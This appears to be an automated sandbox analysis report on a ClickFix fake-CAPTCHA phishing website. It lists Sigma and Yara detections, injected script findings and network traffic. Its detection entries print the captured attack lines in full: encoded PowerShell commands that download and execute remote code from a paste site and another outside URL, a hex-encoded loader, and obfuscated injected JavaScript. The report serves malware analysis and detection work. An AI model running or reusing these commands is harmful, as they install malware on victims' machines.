ZQA7ACgAWwBnAE0AVwBJAHAARQBIAE4AVgBpAF0AOgA6AEQAdgBnAHkAaQBKAHgAdQBUAHQAKAAoAEcAVgAgAEIARgAgAC0AVgBhAGwAdQBlAE8AbgBsACkAKQApAHwAJgAoAEcASQAgAEEAbABpAGEAcwA6AEkARQAqACkA , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 396, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qwzwa2hv.cmdline", ProcessId: 5944, ProcessName: csc.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ExecutionPolicy UnRestricted -Enc bABzACAAcABhAG4AeQBvACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEUAbQBpACAAJwBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAGcATQBXAEkAcABFAEgATgBWAGkAewBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAcwB0AHIAaQBuAGcAIABEAHYAZwB5AGkASgB4AHUAVAB0ACgAcwB0AHIAaQBuAGcAIAB1AHIAbAApAHsAcgBlAHQAdQByAG4AIAAoAG4AZQB3ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACgAKQApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAdQByAGwAKQA7AH0AfQAnADsAUwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIABCAEYAIAAnAGgAdAB0AHAAcwA6AC8ALwBuAG8AcABhAHMAdABlAC4AbgBlAHQALwBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAJwA7ACYAKABHAFYAIABFACoAdABlAHgAKgApAC4AVgBhAGwAdQBlAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQB8AEcATQApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQAuACgAKAAoAEcAVgAgAEUAKgB0AGUAeAAqACkALgBWAGEAbAB1AGUAfABHAE0AKQBbADYAXQAuAE4AYQBtAGUAKQAuAFAAcwBPAGIAagBlAGMAdAAuAE0AZQB0AGgAbwBkAHMAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBjAGwAaQBrAGUAJwBHACoAZAAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAKABHAFYAIABFACoAdABlAHgAKgApAC4AVgBhAGwAdQBlAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQB8AEcATQApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQAuACgAKAAoAEcAVgAgAEUAKgB0AGUAeAAqACkALgBWAGEAbAB1AGUAfABHAE0AKQBbADYAXQAuAE4AYQBtAGUAKQB8AEcATQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGMAbABpAGsAZQAnACoAbwBtACoAZQAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAJwAqAC0AVAB5ACoAZQAnACwAMQAsADEAKQAsAFsATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBDAG8AbQBtAGEAbgBkAFQAeQBwAGUAcwBdADoAOgBDAG0AZABsAGUAdAApAC0ATABhACAAQwBTAGgAYQByAHAAIAAoAEwAUwAgAFYAYQByAGkAYQBiAGwAZQA6AC8ARQBtAGkAKQAuAFYAYQBsAHUAZQA7ACgAWwBnAE0AVwBJAHAARQBIAE4AVgBpAF0AOgA6AEQAdgBnAHkAaQBKAHgAdQBUAHQAKAAoAEcAVgAgAEIARgAgAC0AVgBhAGwAdQBlAE8AbgBsACkAKQApAHwAJgAoAEcASQAgAEEAbABpAGEAcwA6AEkARQAqACkA , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ExecutionPolicy UnRestricted -Enc bABzACAAcABhAG4AeQBvACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEUAbQBpACAAJwBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAGcATQBXAEkAcABFAEgATgBWAGkAewBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAcwB0AHIAaQBuAGcAIABEAHYAZwB5AGkASgB4AHUAVAB0ACgAcwB0AHIAaQBuAGcAIAB1AHIAbAApAHsAcgBlAHQAdQByAG4AIAAoAG4AZQB3ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACgAKQApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAdQByAGwAKQA7AH0AfQAnADsAUwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIABCAEYAIAAnAGgAdAB0AHAAcwA6AC8ALwBuAG8AcABhAHMAdABlAC4AbgBlAHQALwBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAJwA7ACYAKABHAFYAIABFACoAdABlAHgAKgApAC4AVgBhAGwAdQBlAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQB8AEcATQApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQAuACgAKAAoAEcAVgAgAEUAKgB0AGUAeAAqACkALgBWAGEAbAB1AGUAfABHAE0AKQBbADYAXQAuAE4AYQBtAGUAKQAuAFAAcwBPAGIAagBlAGMAdAAuAE0AZQB0AGgAbwBkAHMAfABXAGgAZQByAGUALQBPAGIAagBlAGMAd

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 396, TargetFilename: C:\Users\user\AppData\Local\Temp\qwzwa2hv.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" . \*i*\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*2\m??ta.??? https://yxyz.zyxy.org/MARBI.mp4?u=d4a7bb1a-1651-4566-9e40-7a8a87d785c1 # ? ''I am not a robot - reCAPTCHA Verification ID: 7126'', CommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" . \*i*\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*2\m??ta.??? https://yxyz.zyxy.org/MARBI.mp4?u=d4a7bb1a-1651-4566-9e40-7a8a87d785c1 # ? ''I am not a robot - reCAPTCHA Verification ID: 7126'', CommandLine|base64offset|contains: j, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4380, ProcessCommandLine: "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" . \*i*\\\\\\\\\\\\\\\\\\\\\\\\\\\\\*2\m??ta.??? https://yxyz.zyxy.org/MARBI.mp4?u=d4a7bb1a-1651-4566-9e40-7a8a87d785c1 # ? ''I am not a robot - reCAPTCHA Verification ID: 7126'', ProcessId: 1952, ProcessName: powershell.exe

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function WXndL($cIxW){return -split ($cIxW -replace '..', '0x$& ')};$Ggxu = WXndL('7A5B64CCD96D57D64EFE4A812D2BC4BDE9AE1B1E7F65468F80EA3D5B60B7D7C15F2443A3E6237EAB1F9F3E91A5D835EB18A448CE892FC625BA5CB4E7734FA0B152E164A9AE08D0FEF9B18C700BA2C123C96722C862D347993D0AA1AF4AEEBDD9B33579FD0C0E3E8F4ED828B8EBE67830131A567BC4410ED3DE3DB182881AB06E5D1206E78F5AB5BC320CEB0CD1230E202D819C71580B2958CC5C0E8D1B8BD3370ED4F7231F1F5798BCD1F65460270B2E1E6ED59863C8B5F03F81A685BAD5E7B10E0FB9D1E708A9E5C024FA30DDC882FC492E0DF958455665B085A89C33E2271C0460170B1A544FCCC02AAD22554D5904FEDB87E26616ADC6815B78E3F211ECE66EE7D5818C58FD2367560D21420D5A870A96BF6813F16918FD2CAE995E81E5D5EEE764267ADB4E5F453DAC47D2AA762258E397C75CFF7333F5692FC5E25513BAC939EC2D35D580E47B773762AFA92B8C33B29E596DD3C52FB4B99790BC72803AD41F0A8088B6CBED15134D7A3795F91350D8363992E47BC33998786B02F2BC54DEADA79DA25CDD4E8456CDE732FF3D1BD51FFB619BBF4745E1D5B394630DE4C65145A4F40D54FC2FDFFF60DAC2370A34BE793B19A62E7BFB4C17185C1DC5324F37FFB32F313CB1BD87D5ED80FDE6998A2FA6EAE031759049B99236C74EBE0FCAA0366DFBD6D5203BB793793C30DD6C7711F139487A16F956DED2456E89DA6E8075E848518861F83E12FE6B6D9418FC30B86423F75566F6B84368C093B9C427A827CCA5508786A5C0C9C4FDC8098CF6F6387EF1B6779E7520FFA6CB54F1831F4AA87E12F048C0CF6F7626832EEACA8F18970723839BC8DF8E4A95B0792580CB979CFC7127742BFAC8575A87620516BE0330CEEEC026AE6DEF88079288ADA091993D6A1E4095B56E7A4972D51CC3305B770FFD659D6DF1A16842FAB38AB77C79C33863A3DDD3492894F183BE23A2F13E9B123C61AAA62EA17F6E370D5F5455BDCBE40447C979E2071A5E1C73DAB66505D5097B0CE259E3740A4D336C5D9D478B4BDD16372BC7EDFE1881DEA74E5B9CE7264F939FC71C1A404155682C546391908E072FABB77AFA55EF85CF8D463AF296CB5A97F75A04C27BB522CBD6647D3486CE6F1255A20C9F533CBB8E63861054920A4CAC251BCE2877D09D44209DF14F219EFB4C83461ED25DD05A3920BE2B123C394CC75C22C37A1CBE663656DBBC5E092E0B0019D2990501F5747EEBCB04B628410E9A300AEF287CFF0E6891F2F376C686F5FA861C85F88D563CE6DA2BAF185CC7C432FBC4291B50D6C71EC3AF86F793050E7DA9386849A66D23F884A8EBB084B1E52AFD97FC48ED50A9E6127344548B3E1D3FE46A9B700E23523933F2658A2E11359A7801DCFA20518A8C8ECFB897185694E264D854CE8307694F52B05B1F77A162CF1DD6266ACF5A7558C4494FF2E5B813EA6AA2F10A626FA53624CAEFB65B0BEBCCBCE907FC29AFF64D665F48576317019CB117E486DB9344CB12B5A4C8C99244F69A2C044F0C2B1E2C015323E6F2E9963937F86A2F610B470A787592B51B4A8A0AC1BEBCFBA6BDBBAE601BE25E9697ED1F1F6620B93F5E571C3E1A4F0E8C47093BF22DA12E6490B3AC878564D340B19F5614B1B063BD182E6D649D69AFD32FB57DDA451BB8764142FB0F42BE6E0189467BC1CB105D5FB522273E3782FDAA9E79D531A3BB879EA59043A20FED1EB60716386B9AAB98DC3EE64A1E470DA50DAC0026141747D5C0EED0044EC0D0915C02328F86F0BB7D373FB02861150AB1351E5702E10845E364532DF7DA550E8FADD43BC553C286B9362C8D94A1B01CBEED6A0696A644B4B1C4C07D01BE9FFFFE5E695FE16EEBAF8905BD570BE4B36D0F1C07D860553FBE42A1F44FEBF0A667E85D3544FE91FF701BE78DE167BB6758BB19538D1418D9B1403CFBD5C98DC579BAB71C1BA2BFB6A2ED52BC640E9E45881734D627572BBB24767BF9105E290AED4FD0A

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 656, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7100, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qwzwa2hv.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qwzwa2hv.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ExecutionPolicy UnRestricted -Enc bABzACAAcABhAG4AeQBvACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEUAbQBpACAAJwBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAGcATQBXAEkAcABFAEgATgBWAGkAewBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAcwB0AHIAaQBuAGcAIABEAHYAZwB5AGkASgB4AHUAVAB0ACgAcwB0AHIAaQBuAGcAIAB1AHIAbAApAHsAcgBlAHQAdQByAG4AIAAoAG4AZQB3ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACgAKQApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAdQByAGwAKQA7AH0AfQAnADsAUwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIABCAEYAIAAnAGgAdAB0AHAAcwA6AC8ALwBuAG8AcABhAHMAdABlAC4AbgBlAHQALwBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAZgBmAGYAJwA7ACYAKABHAFYAIABFACoAdABlAHgAKgApAC4AVgBhAGwAdQBlAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQB8AEcATQApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQAuACgAKAAoAEcAVgAgAEUAKgB0AGUAeAAqACkALgBWAGEAbAB1AGUAfABHAE0AKQBbADYAXQAuAE4AYQBtAGUAKQAuAFAAcwBPAGIAagBlAGMAdAAuAE0AZQB0AGgAbwBkAHMAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBjAGwAaQBrAGUAJwBHACoAZAAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAKABHAFYAIABFACoAdABlAHgAKgApAC4AVgBhAGwAdQBlAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQB8AEcATQApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACgARwBWACAARQAqAHQAZQB4ACoAKQAuAFYAYQBsAHUAZQAuACgAKAAoAEcAVgAgAEUAKgB0AGUAeAAqACkALgBWAGEAbAB1AGUAfABHAE0AKQBbADYAXQAuAE4AYQBtAGUAKQB8AEcATQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGMAbABpAGsAZQAnACoAbwBtACoAZQAnAH0AKQAuAE4AYQBtAGUAKQAuAEkAbgB2AG8AawBlACgAJwAqAC0AVAB5ACoAZQAnACwAMQAsADEAKQAsAFsATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBDAG8AbQBtAGEAbgBkAFQAeQBwAGUAcwBdADoAOgBDAG0AZABsAGUAdAApAC0ATABhACAAQwBTAGgAYQByAHAAIAAoAEwAUwAgAFYAYQByAGkAYQBiAGwAZQA6AC8ARQBtAGkAKQAuAFYAYQBsAHUAZQA7ACgAWwBnAE0AVwBJAHAARQBIAE4AVgBpAF0AOgA6AEQAdgBnAHkAaQBKAHgAdQBUAHQAKAAoAEcAVgAgAEIARgAgAC0AVgBhAGwAdQBlAE8AbgBsACkAKQApAHwAJgAoAEcASQAgAEEAbABpAGEAcwA6AEkARQAqACkA , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 396, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qwzwa2hv.cmdline", ProcessId: 5944, ProcessName: csc.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected CAPTCHA Scam ClickFix

Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML

Source: https://annavirgili.com/

HTTP Parser: Base64 decoded: const _0x27e5b9 = _0x4932;(function (_0x1cba6e, _0xe7489f) { const _0x4fe17f = _0x4932, _0x261214 = _0x1cba6e(); while (!![]) { try { const _0x31325 = parseInt(_0x4fe17f(0x180)) / (0x1df4 + 0x1d44 + -0x1e9 * 0x1f) * (parseInt(...

Source: https://annavirgili.com/	HTTP Parser: Script src: data:text/javascript;base64,Y29uc3QgXzB4MjdlNWI5ID0gXzB4NDkzMjsKKGZ1bmN0aW9uIChfMHgxY2JhNmUsIF8weGU3NDg5ZikgewogICAgY29uc3QgXzB4NGZlMTdmID0gXzB4NDkzMiwgXzB4MjYxMjE0ID0gXzB4MWNiYTZlKCk7CiAgICB3aGlsZSAoISFbXSkgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGNvbn
Source: https://annavirgili.com/	HTTP Parser: Script src: data:text/javascript;base64,Y29uc3QgXzB4MjdlNWI5ID0gXzB4NDkzMjsKKGZ1bmN0aW9uIChfMHgxY2JhNmUsIF8weGU3NDg5ZikgewogICAgY29uc3QgXzB4NGZlMTdmID0gXzB4NDkzMiwgXzB4MjYxMjE0ID0gXzB4MWNiYTZlKCk7CiAgICB3aGlsZSAoISFbXSkgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGNvbn
Source: https://annavirgili.com/	HTTP Parser: Script src: data:text/javascript;base64,Y29uc3QgXzB4MjdlNWI5ID0gXzB4NDkzMjsKKGZ1bmN0aW9uIChfMHgxY2JhNmUsIF8weGU3NDg5ZikgewogICAgY29uc3QgXzB4NGZlMTdmID0gXzB4NDkzMiwgXzB4MjYxMjE0ID0gXzB4MWNiYTZlKCk7CiAgICB3aGlsZSAoISFbXSkgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGNvbn
Source: https://annavirgili.com/	HTTP Parser: Script src: data:text/javascript;base64,Y29uc3QgXzB4MjdlNWI5ID0gXzB4NDkzMjsKKGZ1bmN0aW9uIChfMHgxY2JhNmUsIF8weGU3NDg5ZikgewogICAgY29uc3QgXzB4NGZlMTdmID0gXzB4NDkzMiwgXzB4MjYxMjE0ID0gXzB4MWNiYTZlKCk7CiAgICB3aGlsZSAoISFbXSkgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGNvbn
Source: https://annavirgili.com/	HTTP Parser: Script src: data:text/javascript;base64,Y29uc3QgXzB4MjdlNWI5ID0gXzB4NDkzMjsKKGZ1bmN0aW9uIChfMHgxY2JhNmUsIF8weGU3NDg5ZikgewogICAgY29uc3QgXzB4NGZlMTdmID0gXzB4NDkzMiwgXzB4MjYxMjE0ID0gXzB4MWNiYTZlKCk7CiAgICB3aGlsZSAoISFbXSkgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGNvbn
Source: https://annavirgili.com/	HTTP Parser: Script src: data:text/javascript;base64,Y29uc3QgXzB4MjdlNWI5ID0gXzB4NDkzMjsKKGZ1bmN0aW9uIChfMHgxY2JhNmUsIF8weGU3NDg5ZikgewogICAgY29uc3QgXzB4NGZlMTdmID0gXzB4NDkzMiwgXzB4MjYxMjE0ID0gXzB4MWNiYTZlKCk7CiAgICB3aGlsZSAoISFbXSkgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGNvbn

Source: https://annavirgili.com/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-K268W3Z
Source: https://annavirgili.com/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-K268W3Z
Source: https://annavirgili.com/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-K268W3Z
Source: https://annavirgili.com/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-K268W3Z
Source: https://annavirgili.com/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-K268W3Z
Source: https://annavirgili.com/	HTTP Parser: Iframe src: https://www.googletagmanager.com/ns.html?id=GTM-K268W3Z

Source: https://annavirgili.com/

HTTP Parser: <input type="password" .../> found

Source: https://annavirgili.com/	HTTP Parser: No <meta name="author".. found
Source: https://annavirgili.com/	HTTP Parser: No <meta name="author".. found
Source: https://annavirgili.com/	HTTP Parser: No <meta name="author".. found
Source: https://annavirgili.com/	HTTP Parser: No <meta name="author".. found
Source: https://annavirgili.com/	HTTP Parser: No <meta name="author".. found
Source: https://annavirgili.com/	HTTP Parser: No <meta name="author".. found

Source: https://annavirgili.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://annavirgili.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://annavirgili.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://annavirgili.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://annavirgili.com/	HTTP Parser: No <meta name="copyright".. found
Source: https://annavirgili.com/	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.16:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.16:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.1.33.206:443 -> 192.168.2.16:49904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.16:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.25.207:443 -> 192.168.2.16:50011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.205.226:443 -> 192.168.2.16:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 174.138.125.138:443 -> 192.168.2.16:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.205.226:443 -> 192.168.2.16:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.78:443 -> 192.168.2.16:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.78:443 -> 192.168.2.16:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.78:443 -> 192.168.2.16:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.78:443 -> 192.168.2.16:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.78:443 -> 192.168.2.16:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.78:443 -> 192.168.2.16:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.78:443 -> 192.168.2.16:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.78:443 -> 192.168.2.16:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.78:443 -> 192.168.2.16:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.16:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.26.127:443 -> 192.168.2.16:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.68.188:443 -> 192.168.2.16:50049 version: TLS 1.2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData

Networking

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

